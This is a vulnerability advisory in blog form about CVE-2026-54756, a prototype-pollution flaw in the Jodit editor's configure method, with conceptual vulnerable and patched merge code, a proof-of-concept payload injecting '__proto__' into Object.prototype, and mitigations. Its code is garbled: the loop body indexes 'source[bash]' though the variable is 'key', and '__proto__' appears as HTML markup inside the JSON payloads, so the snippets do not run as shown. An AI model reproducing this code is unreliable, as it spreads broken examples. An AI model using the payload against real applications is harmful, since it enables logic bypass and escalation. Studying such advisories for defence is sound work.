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How CVE-2026-54756 Works
Jodit Editor is a popular WYSIWYG editor distributed via the npm package jodit. In versions prior to 4.12.18, the `Jodit.configure(options)` method, along with the internal `ConfigMerge` and `ConfigProto` helpers, merged user-supplied configuration objects into the editor’s settings without properly filtering prototype-mutating keys.
This oversight created a classic Prototype Pollution vulnerability, identified as CWE-1321. An attacker could craft a malicious configuration object containing a special key like __proto__, constructor, or prototype, nested under an existing plain-object option such as controls.
When this malicious configuration was passed to Jodit.configure(), the merge process would traverse the object tree. Upon encountering a key like __proto__, the merge logic would follow the prototype chain and write the attacker’s supplied properties directly into Object.prototype. Because `Object.prototype` is the fundamental prototype for almost all JavaScript objects, this polluted it globally.
The consequence is that any property injected into the prototype would suddenly be available on every object in the application’s JavaScript context, including objects unrelated to the Jodit editor. This can lead to unexpected property injection, logic bypass, denial of service, or secondary security issues.
The vulnerability is particularly dangerous in applications that pass user-controlled or partially user-controlled configuration objects directly to Jodit.configure(). The fix, implemented in version 4.12.18, involves rejecting __proto__, constructor, and `prototype` keys at every level of the merge operation.
DailyCVE Form:
Platform: Jodit (npm)
Version: < 4.12.18
Vulnerability: Prototype Pollution
Severity: Medium (CVSS 6.3)
date: 2026-07-01
Prediction: 2026-07-15
What Undercode Say:
“The vulnerability arises from insecure recursive merging. The `ConfigMerge` helper failed to distinguish between an object’s own properties and prototype properties, allowing an attacker to pollute the global prototype chain by injecting `__proto__` keys.”
Check installed version of jodit npm list jodit Check for known vulnerabilities in the project npm audit | grep jodit
Vulnerable Code (Conceptual):
// Simplified vulnerable merge logic
function merge(target, source) {
for (let key in source) {
if (typeof source[bash] === 'object') {
target[bash] = merge(target[bash] || {}, source[bash]);
} else {
target[bash] = source[bash];
}
}
return target;
}
// Attacker-controlled input
const maliciousConfig = JSON.parse('{"controls":{"<strong>proto</strong>":{"polluted":true}}}');
// Pollutes Object.prototype
merge({}, maliciousConfig);
console.log({}.polluted); // true
Patched Code (Conceptual):
// Patched merge logic with prototype key filtering
function mergeSafe(target, source) {
const dangerousKeys = ['<strong>proto</strong>', 'constructor', 'prototype'];
for (let key in source) {
if (dangerousKeys.includes(key)) continue; // Reject dangerous keys
if (typeof source[bash] === 'object') {
target[bash] = mergeSafe(target[bash] || {}, source[bash]);
} else {
target[bash] = source[bash];
}
}
return target;
}
Exploit:
A successful exploit requires an application to pass untrusted configuration to Jodit.configure(). The attacker can then pollute `Object.prototype` by sending a payload like the following:
import { Jodit } from 'jodit';
// Ensure the property doesn't already exist
delete Object.prototype.polluted;
// Malicious configuration payload
const payload = JSON.parse('{"controls":{"<strong>proto</strong>":{"polluted":"yes"}}}');
// Trigger the prototype pollution
Jodit.configure(payload);
// Check if the prototype was polluted
console.log(({}).polluted); // Outputs: "yes"
This attack can be performed remotely (CVSS:AV:N) without requiring privileges (CVSS:PR:N) or user interaction (CVSS:UI:N). The polluted property (polluted) now exists on every object, which can be used to override existing methods or properties, leading to unpredictable behavior or security bypasses.
Protection:
Upgrade: The primary and most effective mitigation is to upgrade to Jodit version 4.12.18 or later.
Sanitize Input: If an immediate upgrade is not possible, rigorously validate and sanitize any configuration objects passed to Jodit.configure(). Reject any object containing keys like __proto__, constructor, or prototype.
Avoid Untrusted Config: Do not pass user-controlled or partially user-controlled configuration directly to the editor.
Sandbox: Isolate the editor within a sandboxed iframe or a similar context to limit the impact of a successful pollution.
Impact:
Property Injection: Attackers can inject arbitrary properties into Object.prototype, affecting the behavior of all objects in the application.
Logic Bypass: By overriding existing methods or properties, attackers can bypass security checks or alter application logic.
Denial of Service: Polluting critical properties can cause the application to crash or behave unexpectedly.
Secondary Security Issues: The polluted prototype can be leveraged to escalate into more severe vulnerabilities like Cross-Site Scripting (XSS) or Remote Code Execution (RCE).
Widespread Impact: The vulnerability affects the `xdan:jodit` package and all versions prior to 4.12.18.
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Sources:
Reported By: github.com
Extra Source Hub:
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